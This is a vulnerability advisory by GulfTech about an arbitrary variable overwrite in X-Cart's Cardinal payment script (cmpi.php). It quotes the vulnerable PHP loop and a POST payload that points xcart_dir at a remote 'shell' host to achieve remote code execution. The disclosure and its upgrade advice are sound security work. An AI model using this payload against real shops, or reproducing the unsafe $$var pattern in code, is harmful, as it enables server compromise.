Description:
X-Cart is a commercial web based eCommerce solution written in PHP and MySQL that allows for
webmasters to host an online marketplace. Unfortunately an attacker may be able to execute
arbitrary php code on an X-Cart installation by overwriting key configuration variables.
However, because the vulnerability allows for any variables to be overwritten other attacks
such as SQL Injection are probably possible as well. Qualiteam have released an updated
version of their X-Cart software, and users are strongly encouraged to upgrade as soon as
possible or delete the cmpi.php script that resides within the payments directory.
Arbitrary Variable Overwriting
X-Cart comes with a number of payment processing scripts. Unfortunately the Cardinal payment
processing script (cmpi.php) is vulnerable to arbitrary variable overwriting that allows for
an attacker to conduct various attacks including arbitrary php code execution. Let's have a
look at the vulnerable code in question.
if ($HTTP_POST_VARS) {
foreach ($HTTP_POST_VARS as $var => $value) {
$$var = $value;
}
}
As we can see every single post variable is dynamically evaluated. This is especially dangerous
because register globals and magic quotes gpc settings do not affect an attackers ability to
overwrite key configuration variables.
stand_alone=0&httpsmod;_active=1&orderids;=1&close;_frame=1&xcart;_dir=http://shell
By sending a post request with the above variables set will automatically include an execute a
remote arbitrary file on the vulnerable X-Cart installation, which in turn leads to remote php
code execution on the underlying web server in most cases.
Solution:
The X-Cart team were very quick and professional in their response to this issue.An updated
version of X-Cart has been released and users are encouraged to upgrade as soon as possible.
Credits:
James Bercegay of the GulfTech Security Research Team
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